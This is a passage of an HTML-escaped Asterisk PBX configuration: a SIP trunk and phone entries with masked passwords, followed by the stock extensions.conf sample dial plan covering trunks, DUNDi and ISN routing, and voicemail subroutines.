/&gt;type=friend&lt;br /&gt;context=vonage-exten&lt;br /&gt;username=12125551234&lt;br /&gt;host=sphone.vopr.vonage.net&lt;br /&gt;fromuser=12125551234&lt;br /&gt;fromdomain=sphone.vopr.vonage.net&lt;br /&gt;secret=zzzzzzzz&lt;br /&gt;insecure=very&lt;br /&gt;&lt;br /&gt;; Local SIP phone&lt;br /&gt;[1011]&lt;br /&gt;type=friend&lt;br /&gt;context=secure&lt;br /&gt;username=1011&lt;br /&gt;secret=xxxxxx&lt;br /&gt;host=dynamic&lt;br /&gt;&lt;br /&gt;; Local SIP phone&lt;br /&gt;[1012]&lt;br /&gt;type=friend&lt;br /&gt;context=secure&lt;br /&gt;username=1012&lt;br /&gt;secret=xxxxx&lt;br /&gt;host=dynamic &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;EXTENSIONS.CONF  ------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;; extensions.conf - the Asterisk dial plan&lt;br /&gt;;&lt;br /&gt;; Static extension configuration file, used by&lt;br /&gt;; the pbx_config module. This is where you configure all your &lt;br /&gt;; inbound and outbound calls in Asterisk. &lt;br /&gt;; &lt;br /&gt;; This configuration file is reloaded &lt;br /&gt;; - With the "dialplan reload" command in the CLI&lt;br /&gt;; - With the "reload" command (that reloads everything) in the CLI&lt;br /&gt;&lt;br /&gt;;&lt;br /&gt;; The "General" category is for certain variables.  &lt;br /&gt;;&lt;br /&gt;[general]&lt;br /&gt;;&lt;br /&gt;; If static is set to no, or omitted, then the pbx_config will rewrite&lt;br /&gt;; this file when extensions are modified.  Remember that all comments&lt;br /&gt;; made in the file will be lost when that happens. &lt;br /&gt;;&lt;br /&gt;; XXX Not yet implemented XXX&lt;br /&gt;;&lt;br /&gt;static=yes&lt;br /&gt;;&lt;br /&gt;; if static=yes and writeprotect=no, you can save dialplan by&lt;br /&gt;; CLI command "dialplan save" too&lt;br /&gt;;&lt;br /&gt;writeprotect=no&lt;br /&gt;;&lt;br /&gt;; If autofallthrough is set, then if an extension runs out of&lt;br /&gt;; things to do, it will terminate the call with BUSY, CONGESTION&lt;br /&gt;; or HANGUP depending on Asterisk's best guess. This is the default.&lt;br /&gt;;&lt;br /&gt;; If autofallthrough is not set, then if an extension runs out of &lt;br /&gt;; things to do, Asterisk will wait for a new extension to be dialed &lt;br /&gt;; (this is the original behavior of Asterisk 1.0 and earlier).&lt;br /&gt;;&lt;br /&gt;;autofallthrough=no&lt;br /&gt;;&lt;br /&gt;;&lt;br /&gt;;&lt;br /&gt;; If extenpatternmatchnew is set (true, yes, etc), then a new algorithm that uses&lt;br /&gt;; a Trie to find the best matching pattern is used. In dialplans&lt;br /&gt;; with more than about 20-40 extensions in a single context, this&lt;br /&gt;; new algorithm can provide a noticeable speedup. &lt;br /&gt;; With 50 extensions, the speedup is 1.32x&lt;br /&gt;; with 88 extensions, the speedup is 2.23x&lt;br /&gt;; with 138 extensions, the speedup is 3.44x&lt;br /&gt;; with 238 extensions, the speedup is 5.8x&lt;br /&gt;; with 438 extensions, the speedup is 10.4x&lt;br /&gt;; With 1000 extensions, the speedup is ~25x&lt;br /&gt;; with 10,000 extensions, the speedup is 374x&lt;br /&gt;; Basically, the new algorithm provides a flat response &lt;br /&gt;; time, no matter the number of extensions.&lt;br /&gt;;&lt;br /&gt;; By default, the old pattern matcher is used. &lt;br /&gt;;&lt;br /&gt;; ****This is a new feature! *********************&lt;br /&gt;; The new pattern matcher is for the brave, the bold, and &lt;br /&gt;; the desperate. If you have large dialplans (more than about 50 extensions&lt;br /&gt;; in a context), and/or high call volume, you might consider setting &lt;br /&gt;; this value to "yes" !!&lt;br /&gt;; Please, if you try this out, and are forced to return to the&lt;br /&gt;; old pattern matcher, please report your reasons in a bug report&lt;br /&gt;; on bugs.digium.com. We have made good progress in providing something&lt;br /&gt;; compatible with the old matcher; help us finish the job!&lt;br /&gt;;&lt;br /&gt;; This value can be switched at runtime using the cli command "dialplan set extenpatternmatchnew true"&lt;br /&gt;; or "dialplan set extenpatternmatchnew false", so you can experiment to your hearts content.&lt;br /&gt;;&lt;br /&gt;;extenpatternmatchnew=no&lt;br /&gt;;&lt;br /&gt;; If clearglobalvars is set, global variables will be cleared &lt;br /&gt;; and reparsed on a dialplan reload, or Asterisk reload.&lt;br /&gt;;&lt;br /&gt;; If clearglobalvars is not set, then global variables will persist&lt;br /&gt;; through reloads, and even if deleted from the extensions.conf or&lt;br /&gt;; one of its included files, will remain set to the previous value.&lt;br /&gt;;&lt;br /&gt;; NOTE: A complication sets in, if you put your global variables into&lt;br /&gt;; the AEL file, instead of the extensions.conf file. With clearglobalvars&lt;br /&gt;; set, a "reload" will often leave the globals vars cleared, because it&lt;br /&gt;; is not unusual to have extensions.conf (which will have no globals)&lt;br /&gt;; load after the extensions.ael file (where the global vars are stored).&lt;br /&gt;; So, with "reload" in this particular situation, first the AEL file will&lt;br /&gt;; clear and then set all the global vars, then, later, when the extensions.conf&lt;br /&gt;; file is loaded, the global vars are all cleared, and then not set, because&lt;br /&gt;; they are not stored in the extensions.conf file.&lt;br /&gt;;&lt;br /&gt;clearglobalvars=no&lt;br /&gt;;&lt;br /&gt;; If priorityjumping is set to 'yes', then applications that support&lt;br /&gt;; 'jumping' to a different priority based on the result of their operations&lt;br /&gt;; will do so (this is backwards compatible behavior with pre-1.2 releases&lt;br /&gt;; of Asterisk). Individual applications can also be requested to do this&lt;br /&gt;; by passing a 'j' option in their arguments.&lt;br /&gt;;&lt;br /&gt;;priorityjumping=yes&lt;br /&gt;;&lt;br /&gt;; User context is where entries from users.conf are registered.  The&lt;br /&gt;; default value is 'default'&lt;br /&gt;;&lt;br /&gt;;userscontext=default&lt;br /&gt;;&lt;br /&gt;; You can include other config files, use the #include command&lt;br /&gt;; (without the ';'). Note that this is different from the "include" command&lt;br /&gt;; that includes contexts within other contexts. The #include command works&lt;br /&gt;; in all asterisk configuration files.&lt;br /&gt;;#include "filename.conf"&lt;br /&gt;;#include &lt;filename.conf&gt;&lt;br /&gt;;#include filename.conf&lt;br /&gt;;&lt;br /&gt;; You can execute a program or script that produces config files, and they&lt;br /&gt;; will be inserted where you insert the #exec command. The #exec command &lt;br /&gt;; works on all asterisk configuration files.  However, you will need to&lt;br /&gt;; activate them within asterisk.conf with the "execincludes" option.  They&lt;br /&gt;; are otherwise considered a security risk.&lt;br /&gt;;#exec /opt/bin/build-extra-contexts.sh&lt;br /&gt;;#exec /opt/bin/build-extra-contexts.sh --foo="bar"&lt;br /&gt;;#exec &lt;/opt/bin/build-extra-contexts.sh --foo="bar"&gt;&lt;br /&gt;;#exec "/opt/bin/build-extra-contexts.sh --foo=\"bar\""&lt;br /&gt;;&lt;br /&gt;&lt;br /&gt;; The "Globals" category contains global variables that can be referenced&lt;br /&gt;; in the dialplan with the GLOBAL dialplan function:&lt;br /&gt;; ${GLOBAL(VARIABLE)}&lt;br /&gt;; ${${GLOBAL(VARIABLE)}} or ${text${GLOBAL(VARIABLE)}} or any hybrid&lt;br /&gt;; Unix/Linux environmental variables can be reached with the ENV dialplan&lt;br /&gt;; function: ${ENV(VARIABLE)}&lt;br /&gt;;&lt;br /&gt;[globals]&lt;br /&gt;CONSOLE=Console/dsp    ; Console interface for demo&lt;br /&gt;;CONSOLE=DAHDI/1&lt;br /&gt;;CONSOLE=Phone/phone0&lt;br /&gt;IAXINFO=guest     ; IAXtel username/password&lt;br /&gt;;IAXINFO=myuser:mypass&lt;br /&gt;TRUNK=DAHDI/G2     ; Trunk interface&lt;br /&gt;;&lt;br /&gt;; Note the 'G2' in the TRUNK variable above. It specifies which group (defined&lt;br /&gt;; in chan_dahdi.conf) to dial, i.e. group 2, and how to choose a channel to use&lt;br /&gt;; in the specified group. The four possible options are:&lt;br /&gt;;&lt;br /&gt;; g: select the lowest-numbered non-busy DAHDI channel&lt;br /&gt;;    (aka. ascending sequential hunt group).&lt;br /&gt;; G: select the highest-numbered non-busy DAHDI channel&lt;br /&gt;;    (aka. descending sequential hunt group).&lt;br /&gt;; r: use a round-robin search, starting at the next highest channel than last&lt;br /&gt;;    time (aka. ascending rotary hunt group).&lt;br /&gt;; R: use a round-robin search, starting at the next lowest channel than last&lt;br /&gt;;    time (aka. descending rotary hunt group).&lt;br /&gt;;&lt;br /&gt;TRUNKMSD=1     ; MSD digits to strip (usually 1 or 0)&lt;br /&gt;;TRUNK=IAX2/user:pass@provider&lt;br /&gt;&lt;br /&gt;;FREENUMDOMAIN=mydomain.com                     ; domain to send on outbound&lt;br /&gt;                                                ; freenum calls (uses outbound-freenum&lt;br /&gt;                                                ; context)&lt;br /&gt;&lt;br /&gt;;&lt;br /&gt;; WARNING WARNING WARNING WARNING&lt;br /&gt;; If you load any other extension configuration engine, such as pbx_ael.so,&lt;br /&gt;; your global variables may be overridden by that file.  Please take care to&lt;br /&gt;; use only one location to set global variables, and you will likely save&lt;br /&gt;; yourself a ton of grief.&lt;br /&gt;; WARNING WARNING WARNING WARNING&lt;br /&gt;;&lt;br /&gt;; Any category other than "General" and "Globals" represent &lt;br /&gt;; extension contexts, which are collections of extensions.  &lt;br /&gt;;&lt;br /&gt;; Extension names may be numbers, letters, or combinations&lt;br /&gt;; thereof. If an extension name is prefixed by a '_'&lt;br /&gt;; character, it is interpreted as a pattern rather than a&lt;br /&gt;; literal.  In patterns, some characters have special meanings:&lt;br /&gt;;&lt;br /&gt;;   X - any digit from 0-9&lt;br /&gt;;   Z - any digit from 1-9&lt;br /&gt;;   N - any digit from 2-9&lt;br /&gt;;   [1235-9] - any digit in the brackets (in this example, 1,2,3,5,6,7,8,9)&lt;br /&gt;;   . - wildcard, matches anything remaining (e.g. _9011. matches &lt;br /&gt;; anything starting with 9011 excluding 9011 itself)&lt;br /&gt;;   ! - wildcard, causes the matching process to complete as soon as&lt;br /&gt;;       it can unambiguously determine that no other matches are possible&lt;br /&gt;;&lt;br /&gt;; For example, the extension _NXXXXXX would match normal 7 digit dialings, &lt;br /&gt;; while _1NXXNXXXXXX would represent an area code plus phone number&lt;br /&gt;; preceded by a one.&lt;br /&gt;;&lt;br /&gt;; Each step of an extension is ordered by priority, which must always start&lt;br /&gt;; with 1 to be considered a valid extension.  The priority "next" or "n" means&lt;br /&gt;; the previous priority plus one, regardless of whether the previous priority&lt;br /&gt;; was associated with the current extension or not.  The priority "same" or "s"&lt;br /&gt;; means the same as the previously specified priority, again regardless of&lt;br /&gt;; whether the previous entry was for the same extension.  Priorities may be&lt;br /&gt;; immediately followed by a plus sign and another integer to add that amount&lt;br /&gt;; (most useful with 's' or 'n').  Priorities may then also have an alias, or&lt;br /&gt;; label, in parentheses after their name which can be used in goto situations.&lt;br /&gt;;&lt;br /&gt;; Contexts contain several lines, one for each step of each extension.  One may&lt;br /&gt;; include another context in the current one as well, optionally with a date&lt;br /&gt;; and time.  Included contexts are included in the order they are listed.&lt;br /&gt;; Switches may also be included within a context.  The order of matching within&lt;br /&gt;; a context is always exact extensions, pattern match extensions, includes, and&lt;br /&gt;; switches.  Includes are always processed depth-first.  So for example, if you&lt;br /&gt;; would like a switch "A" to match before context "B", simply put switch "A" in&lt;br /&gt;; an included context "C", where "C" is included in your original context&lt;br /&gt;; before "B".&lt;br /&gt;;&lt;br /&gt;;[context]&lt;br /&gt;;exten =&gt; someexten,{priority|label{+|-}offset}[(alias)],application(arg1,arg2,...)&lt;br /&gt;;&lt;br /&gt;; Timing list for includes is &lt;br /&gt;;&lt;br /&gt;;   &lt;time range&gt;,&lt;days of week&gt;,&lt;days of month&gt;,&lt;months&gt;[,&lt;timezone&gt;]&lt;br /&gt;;&lt;br /&gt;; Note that ranges may be specified to wrap around the ends.  Also, minutes are&lt;br /&gt;; fine-grained only down to the closest even minute.&lt;br /&gt;;&lt;br /&gt;;include =&gt; daytime,9:00-17:00,mon-fri,*,*&lt;br /&gt;;include =&gt; weekend,*,sat-sun,*,*&lt;br /&gt;;include =&gt; weeknights,17:02-8:58,mon-fri,*,*&lt;br /&gt;;&lt;br /&gt;; ignorepat can be used to instruct drivers to not cancel dialtone upon receipt&lt;br /&gt;; of a particular pattern.  The most commonly used example is of course '9'&lt;br /&gt;; like this:&lt;br /&gt;;&lt;br /&gt;;ignorepat =&gt; 9&lt;br /&gt;;&lt;br /&gt;; so that dialtone remains even after dialing a 9.  Please note that ignorepat&lt;br /&gt;; only works with channels which receive dialtone from the PBX, such as DAHDI,&lt;br /&gt;; Phone, and VPB.  Other channels, such as SIP and MGCP, which generate their&lt;br /&gt;; own dialtone and converse with the PBX only after a number is complete, are&lt;br /&gt;; generally unaffected by ignorepat (unless DISA or another method is used to&lt;br /&gt;; generate a dialtone after answering the channel).&lt;br /&gt;;&lt;br /&gt;&lt;br /&gt;;&lt;br /&gt;; Sample entries for extensions.conf&lt;br /&gt;;&lt;br /&gt;;&lt;br /&gt;[dundi-e164-canonical]&lt;br /&gt;;include =&gt; stdexten&lt;br /&gt;;&lt;br /&gt;; List canonical entries here&lt;br /&gt;;&lt;br /&gt;;exten =&gt; 12564286000,1,Gosub(6000,stdexten(IAX2/foo))&lt;br /&gt;;exten =&gt; 12564286000,n,Goto(default,s,1) ; exited Voicemail&lt;br /&gt;;exten =&gt; _125642860XX,1,Dial(IAX2/otherbox/${EXTEN:7})&lt;br /&gt;&lt;br /&gt;[dundi-e164-customers]&lt;br /&gt;;&lt;br /&gt;; If you are an ITSP or Reseller, list your customers here.&lt;br /&gt;;&lt;br /&gt;;exten =&gt; _12564286000,1,Dial(SIP/customer1)&lt;br /&gt;;exten =&gt; _12564286001,1,Dial(IAX2/customer2)&lt;br /&gt;&lt;br /&gt;[dundi-e164-via-pstn]&lt;br /&gt;;&lt;br /&gt;; If you are freely delivering calls to the PSTN, list them here&lt;br /&gt;;&lt;br /&gt;;exten =&gt; _1256428XXXX,1,Dial(DAHDI/G2/${EXTEN:7}) ; Expose all of 256-428 &lt;br /&gt;;exten =&gt; _1256325XXXX,1,Dial(DAHDI/G2/${EXTEN:7}) ; Ditto for 256-325&lt;br /&gt;&lt;br /&gt;[dundi-e164-local]&lt;br /&gt;;&lt;br /&gt;; Context to put your dundi IAX2 or SIP user in for&lt;br /&gt;; full access&lt;br /&gt;;&lt;br /&gt;include =&gt; dundi-e164-canonical&lt;br /&gt;include =&gt; dundi-e164-customers&lt;br /&gt;include =&gt; dundi-e164-via-pstn&lt;br /&gt;&lt;br /&gt;[dundi-e164-switch]&lt;br /&gt;;&lt;br /&gt;; Just a wrapper for the switch&lt;br /&gt;;&lt;br /&gt;switch =&gt; DUNDi/e164&lt;br /&gt;&lt;br /&gt;[dundi-e164-lookup]&lt;br /&gt;;&lt;br /&gt;; Locally to lookup, try looking for a local E.164 solution&lt;br /&gt;; then try DUNDi if we don't have one.&lt;br /&gt;;&lt;br /&gt;include =&gt; dundi-e164-local&lt;br /&gt;include =&gt; dundi-e164-switch&lt;br /&gt;;&lt;br /&gt;; DUNDi can also be implemented as a Macro instead of using &lt;br /&gt;; the Local channel driver. &lt;br /&gt;;&lt;br /&gt;[macro-dundi-e164]&lt;br /&gt;;&lt;br /&gt;; ARG1 is the extension to Dial&lt;br /&gt;;&lt;br /&gt;; Extension "s" is not a wildcard extension that matches "anything".&lt;br /&gt;; In macros, it is the start extension. In most other cases, &lt;br /&gt;; you have to goto "s" to execute that extension.&lt;br /&gt;;&lt;br /&gt;; For wildcard matches, see above - all pattern matches start with&lt;br /&gt;; an underscore.&lt;br /&gt;exten =&gt; s,1,Goto(${ARG1},1)&lt;br /&gt;include =&gt; dundi-e164-lookup&lt;br /&gt;&lt;br /&gt;;&lt;br /&gt;; Here are the entries you need to participate in the IAXTEL&lt;br /&gt;; call routing system.  Most IAXTEL numbers begin with 1-700, but&lt;br /&gt;; there are exceptions.  For more information, and to sign&lt;br /&gt;; up, please go to www.gnophone.com or www.iaxtel.com&lt;br /&gt;;&lt;br /&gt;[iaxtel700]&lt;br /&gt;exten =&gt; _91700XXXXXXX,1,Dial(IAX2/${GLOBAL(IAXINFO)}@iaxtel.com/${EXTEN:1}@iaxtel)&lt;br /&gt;&lt;br /&gt;;&lt;br /&gt;; The SWITCH statement permits a server to share the dialplan with&lt;br /&gt;; another server. Use with care: Reciprocal switch statements are not&lt;br /&gt;; allowed (e.g. both A -&gt; B and B -&gt; A), and the switched server needs&lt;br /&gt;; to be on-line or else dialing can be severly delayed.&lt;br /&gt;;&lt;br /&gt;[iaxprovider]&lt;br /&gt;;switch =&gt; IAX2/user:[key]@myserver/mycontext&lt;br /&gt;&lt;br /&gt;[trunkint]&lt;br /&gt;;&lt;br /&gt;; International long distance through trunk&lt;br /&gt;;&lt;br /&gt;exten =&gt; _9011.,1,Macro(dundi-e164,${EXTEN:4})&lt;br /&gt;exten =&gt; _9011.,n,Dial(${GLOBAL(TRUNK)}/${FILTER(0-9,${EXTEN:${GLOBAL(TRUNKMSD)}})})&lt;br /&gt;&lt;br /&gt;[trunkld]&lt;br /&gt;;&lt;br /&gt;; Long distance context accessed through trunk&lt;br /&gt;;&lt;br /&gt;exten =&gt; _91NXXNXXXXXX,1,Macro(dundi-e164,${EXTEN:1})&lt;br /&gt;exten =&gt; _91NXXNXXXXXX,n,Dial(${GLOBAL(TRUNK)}/${EXTEN:${GLOBAL(TRUNKMSD)}})&lt;br /&gt;&lt;br /&gt;[trunklocal]&lt;br /&gt;;&lt;br /&gt;; Local seven-digit dialing accessed through trunk interface&lt;br /&gt;;&lt;br /&gt;exten =&gt; _9NXXXXXX,1,Dial(${GLOBAL(TRUNK)}/${EXTEN:${GLOBAL(TRUNKMSD)}})&lt;br /&gt;&lt;br /&gt;[trunktollfree]&lt;br /&gt;;&lt;br /&gt;; Long distance context accessed through trunk interface&lt;br /&gt;;&lt;br /&gt;exten =&gt; _91800NXXXXXX,1,Dial(${GLOBAL(TRUNK)}/${EXTEN:${GLOBAL(TRUNKMSD)}})&lt;br /&gt;exten =&gt; _91888NXXXXXX,1,Dial(${GLOBAL(TRUNK)}/${EXTEN:${GLOBAL(TRUNKMSD)}})&lt;br /&gt;exten =&gt; _91877NXXXXXX,1,Dial(${GLOBAL(TRUNK)}/${EXTEN:${GLOBAL(TRUNKMSD)}})&lt;br /&gt;exten =&gt; _91866NXXXXXX,1,Dial(${GLOBAL(TRUNK)}/${EXTEN:${GLOBAL(TRUNKMSD)}})&lt;br /&gt;&lt;br /&gt;[international]&lt;br /&gt;;&lt;br /&gt;; Master context for international long distance&lt;br /&gt;;&lt;br /&gt;ignorepat =&gt; 9&lt;br /&gt;include =&gt; longdistance&lt;br /&gt;include =&gt; trunkint&lt;br /&gt;&lt;br /&gt;[longdistance]&lt;br /&gt;;&lt;br /&gt;; Master context for long distance&lt;br /&gt;;&lt;br /&gt;ignorepat =&gt; 9&lt;br /&gt;include =&gt; local&lt;br /&gt;include =&gt; trunkld&lt;br /&gt;&lt;br /&gt;[local]&lt;br /&gt;;&lt;br /&gt;; Master context for local, toll-free, and iaxtel calls only&lt;br /&gt;;&lt;br /&gt;ignorepat =&gt; 9&lt;br /&gt;include =&gt; default&lt;br /&gt;include =&gt; trunklocal&lt;br /&gt;include =&gt; iaxtel700&lt;br /&gt;include =&gt; trunktollfree&lt;br /&gt;include =&gt; iaxprovider&lt;br /&gt;&lt;br /&gt;;Include parkedcalls (or the context you define in features conf)&lt;br /&gt;;to enable call parking.&lt;br /&gt;include =&gt; parkedcalls&lt;br /&gt;;&lt;br /&gt;; You can use an alternative switch type as well, to resolve&lt;br /&gt;; extensions that are not known here, for example with remote &lt;br /&gt;; IAX switching you transparently get access to the remote&lt;br /&gt;; Asterisk PBX&lt;br /&gt;; &lt;br /&gt;; switch =&gt; IAX2/user:password@bigserver/local&lt;br /&gt;;&lt;br /&gt;; An "lswitch" is like a switch but is literal, in that&lt;br /&gt;; variable substitution is not performed at load time&lt;br /&gt;; but is passed to the switch directly (presumably to&lt;br /&gt;; be substituted in the switch routine itself)&lt;br /&gt;;&lt;br /&gt;; lswitch =&gt; Loopback/12${EXTEN}@othercontext&lt;br /&gt;;&lt;br /&gt;; An "eswitch" is like a switch but the evaluation of&lt;br /&gt;; variable substitution is performed at runtime before&lt;br /&gt;; being passed to the switch routine.&lt;br /&gt;;&lt;br /&gt;; eswitch =&gt; IAX2/context@${CURSERVER}&lt;br /&gt;&lt;br /&gt;; The following two contexts are a template to enable the ability to dial&lt;br /&gt;; ISN numbers. For more information about what an ISN number is, please see&lt;br /&gt;; http://www.freenum.org.&lt;br /&gt;;&lt;br /&gt;; This is the dialing hook.  use:&lt;br /&gt;; include =&gt; outbound-freenum&lt;br /&gt;&lt;br /&gt;[outbound-freenum]&lt;br /&gt;; We'll add more digits as needed. The purpose is to dial things&lt;br /&gt;; like extension numbers at domains (ITAD number) so we're matching&lt;br /&gt;; on lengths of 1 through 6 prior to the separator (the asterisk [*])&lt;br /&gt;;&lt;br /&gt;exten =&gt; _X*X!,1,Goto(outbound-freenum2,${EXTEN},1)&lt;br /&gt;exten =&gt; _XX*X!,1,Goto(outbound-freenum2,${EXTEN},1)&lt;br /&gt;exten =&gt; _XXX*X!,1,Goto(outbound-freenum2,${EXTEN},1)&lt;br /&gt;exten =&gt; _XXXX*X!,1,Goto(outbound-freenum2,${EXTEN},1)&lt;br /&gt;exten =&gt; _XXXXX*X!,1,Goto(outbound-freenum2,${EXTEN},1)&lt;br /&gt;exten =&gt; _XXXXXX*X!,1,Goto(outbound-freenum2,${EXTEN},1)&lt;br /&gt;&lt;br /&gt;[outbound-freenum2]&lt;br /&gt;; This is the handler which performs the dialing logic. It is called&lt;br /&gt;; from the [outbound-freenum] context&lt;br /&gt;;&lt;br /&gt;exten =&gt; _X!,1,Verbose(2,Performing ISN lookup for ${EXTEN})&lt;br /&gt;same =&gt; n,Set(SUFFIX=${CUT(EXTEN,*,2-)})                                ; make sure the suffix is all digits as well&lt;br /&gt;same =&gt; n,GotoIf($["${FILTER(0-9,${SUFFIX})}" != "${SUFFIX}"]?fn-CONGESTION,1)&lt;br /&gt;                                                                        ; filter out bad characters per the README-SERIOUSLY.best-practices.txt document&lt;br /&gt;same =&gt; n,Set(TIMEOUT(absolute)=10800)&lt;br /&gt;same =&gt; n,Set(isnresult=${ENUMLOOKUP(${EXTEN},sip,,1,freenum.org)})     ; perform our lookup with freenum.org&lt;br /&gt;same =&gt; n,GotoIf($["${isnresult}" != ""]?from)&lt;br /&gt;same =&gt; n,Set(DIALSTATUS=CONGESTION)&lt;br /&gt;same =&gt; n,Goto(fn-CONGESTION,1)&lt;br /&gt;same =&gt; n(from),Set(SIPFROMUSER=${CALLERID(num)})&lt;br /&gt;same =&gt; n,GotoIf($["${GLOBAL(FREENUMDOMAIN)}" = ""]?dial)               ; check if we set the FREENUMDOMAIN global variable in [global]&lt;br /&gt;same =&gt; n,Set(SIPFROMDOMAIN=${GLOBAL(FREENUMDOMAIN)})                   ;    if we did set it, then we'll use it for our outbound dialing domain&lt;br /&gt;same =&gt; n(dial),Dial(SIP/${isnresult},40)&lt;br /&gt;same =&gt; n,Goto(fn-${DIALSTATUS},1)&lt;br /&gt;&lt;br /&gt;exten =&gt; fn-BUSY,1,Busy()&lt;br /&gt;&lt;br /&gt;exten =&gt; _f[n]-.,1,NoOp(ISN: ${DIALSTATUS})&lt;br /&gt;same =&gt; n,Congestion()&lt;br /&gt;&lt;br /&gt;[macro-trunkdial]&lt;br /&gt;;&lt;br /&gt;; Standard trunk dial macro (hangs up on a dialstatus that should &lt;br /&gt;; terminate call)&lt;br /&gt;;   ${ARG1} - What to dial&lt;br /&gt;;&lt;br /&gt;exten =&gt; s,1,Dial(${ARG1})&lt;br /&gt;exten =&gt; s,n,Goto(s-${DIALSTATUS},1)&lt;br /&gt;exten =&gt; s-NOANSWER,1,Hangup&lt;br /&gt;exten =&gt; s-BUSY,1,Hangup&lt;br /&gt;exten =&gt; _s-.,1,NoOp&lt;br /&gt;&lt;br /&gt;[stdexten]&lt;br /&gt;;&lt;br /&gt;; Standard extension subroutine:&lt;br /&gt;;   ${EXTEN} - Extension&lt;br /&gt;;   ${ARG1} - Device(s) to ring&lt;br /&gt;;   ${ARG2} - Optional context in Voicemail (if empty, then "default")&lt;br /&gt;;&lt;br /&gt;; Note that the current version will drop through to the next priority in the&lt;br /&gt;; case of their pressing '#'.  This gives more flexibility in what do to next:&lt;br /&gt;; you can prompt for a new extension, or drop the call, or send them to a&lt;br /&gt;; general delivery mailbox, or...&lt;br /&gt;;&lt;br /&gt;; The use of the LOCAL() function is purely for convenience.  Any variable&lt;br /&gt;; initially declared as LOCAL() will disappear when the innermost Gosub context&lt;br /&gt;; in which it was declared returns.  Note also that you can declare a LOCAL()&lt;br /&gt;; variable on top of an existing variable, and its value will revert to its&lt;br /&gt;; previous value (before being declared as LOCAL()) upon Return.&lt;br /&gt;;&lt;br /&gt;exten =&gt; _X.,50000(stdexten),NoOp(Start stdexten)&lt;br /&gt;exten =&gt; _X.,n,Set(LOCAL(ext)=${EXTEN})&lt;br /&gt;exten =&gt; _X.,n,Set(LOCAL(dev)=${ARG1})&lt;br /&gt;exten =&gt; _X.,n,Set(LOCAL(cntx)=${ARG2})&lt;br /&gt;&lt;br /&gt;exten =&gt; _X.,n,Set(LOCAL(mbx)="${ext}"$["${cntx}" ? "@${cntx}" :: ""])&lt;br /&gt;exten =&gt; _X.,n,Dial(${dev},20)   ; Ring the interface, 20 seconds maximum&lt;br /&gt;exten =&gt; _X.,n,Goto(stdexten-${DIALSTATUS},1)  ; Jump based on status (NOANSWER,BUSY,CHANUNAVAIL,CONGESTION,ANSWER)&lt;br /&gt;&lt;br /&gt;exten =&gt; stdexten-NOANSWER,1,Voicemail(${mbx},u) ; If unavailable, send to voicemail w/ unavail announce&lt;br /&gt;exten =&gt; stdexten-NOANSWER,n,NoOp(Finish stdexten NOANSWER)&lt;br /&gt;exten =&gt; stdexten-NOANSWER,n,Return()   ; If they press #, return to start&lt;br /&gt;&lt;br /&gt;exten =&gt; stdexten-BUSY,1,Voicemail(${mbx},b)&lt;br /&gt;      ; If busy, send to voicemail w/ busy announce&lt;br /&gt;exten =&gt; stdexten-BUSY,n,NoOp(Finish stdexten BUSY)&lt;br /&gt;exten =&gt; stdexten-BUSY,n,Return()   ; If they press #, return to start&lt;br /&gt;&lt;br /&gt;exten =&gt; _stde[x]te[n]-.,1,Goto(stdexten-NOANSWER,1) ; Treat anything else as no answer&lt;br /&gt;&lt;br /&gt;exten =&gt; a,1,VoicemailMain(${mbx})  ; If they press *, send the user into VoicemailMain&lt;br /&gt;exten =&gt; a,n,Return()&lt;br /&gt;&lt;br /&gt;[stdPrivacyexten]&lt;br /&gt;;&lt;br /&gt;; Standard extension subroutine:&lt;br /&gt;;   ${ARG1} - Extension&lt;br /&gt;;   ${ARG2} - Device(s) to ring&lt;br /&gt;;   ${ARG3} - Optional DONTCALL context name to jump to (assumes the s,1 extension-priority)&lt;br /&gt;;   ${ARG4} - Optional TORTURE context name to jump to (assumes the s,1 extension-priority)`&lt;br /&gt;;   ${ARG5} - Context in voicemail (if empty, then "default")&lt;br /&gt;;&lt;br /&gt;; See above note in stdexten about priority handling on exit.&lt;br /&gt;;&lt;br /&gt;exten =&gt; _X.,60000(stdPrivacyexten),NoOp(Start stdPrivacyexten)&lt;br /&gt;exten =&gt; _X.,n,Set(LOCAL(ext)=${ARG1})&lt;br /&gt;exten =&gt; _X.,n,Set(LOCAL(dev)=${ARG2})&lt;br /&gt;exten =&gt; _X.,n,Set(LOCAL(dontcntx)=${ARG3})&lt;br /&gt;exten =&gt; _X.,n,Set(LOCAL(tortcntx)=${ARG4})&lt;br /&gt;exten =&gt; _X.,n,Set(LOCAL(cntx)=${ARG5})&lt;br /&gt;&lt;br /&gt;exten =&gt; _X.,n,Set(LOCAL(mbx)="${ext}"$["${cntx}" ? "@${cntx}" :: ""])&lt;br /&gt;exten =&gt; _X.,n,Dial(${dev},20,p)   ; Ring the interface, 20 seconds maximum, call screening &lt;br /&gt;      ; option (or use P for databased call _X.creening)&lt;br /&gt;exten =&gt; _X.,n,Goto(stdexten-${DIALSTATUS},1)  ; Jump based on status (NOANSWER,BUSY,CHANUNAVAIL,CONGESTION,ANSWER)&lt;br /&gt;&lt;br /&gt;exten =&gt; stdexten-NOANSWER,1,Voicemail(${mbx},u) ; If unavailable, send to voicemail w/ unavail announce&lt;br /&gt;exten =&gt; stdexten-NOANSWER,n,NoOp(Finish stdPrivacyexten NOANSWER)&lt;br /&gt;exten =&gt; stdexten-NOANSWER,n,Return()   ; If they press #, return to start&lt;br /&gt;&lt;br /&gt;exten =&gt; stdexten-BUSY,1,Voicemail(${mbx},b)  ; If busy, send to voicemail w/ busy announce&lt;br /&gt;exten =&gt; stdexten-BUSY,n,NoOp(Finish stdPrivacyexten BUSY)&lt;br /&gt;exten =&gt; stdexten-BUSY,n,Return()   ; If they press #, return to start&lt;br /&gt;&lt;br /&gt;exten =&gt; stdexten-DONTCALL,1,Goto(${dontcntx},s,1) ; Callee chose to send this call to a polite "Don't call again" script.&lt;br /&gt;&lt;br /&gt;exten =&gt; stdexten-TORTURE,1,Goto(${tortcntx},s,1) ; Callee chose to send this call to a telemarketer torture script.&lt;br /&gt;&lt;br /&gt;exten =&gt; _stde[x]te[n]-.,1,Goto(stdexten-NOANSWER,1) ; Treat anything else as no answer&lt;br /&gt;&lt;br /&gt;exten =&gt; a,1,VoicemailMain(${mbx})  ; If they press *, send the user into VoicemailMain&lt;br /&gt;exten =&gt; a,n,Return&lt;br /&gt;&lt;br /&gt;[macro-page];&lt;br /&gt;;&lt;br /&gt;; Paging macro:&lt;br 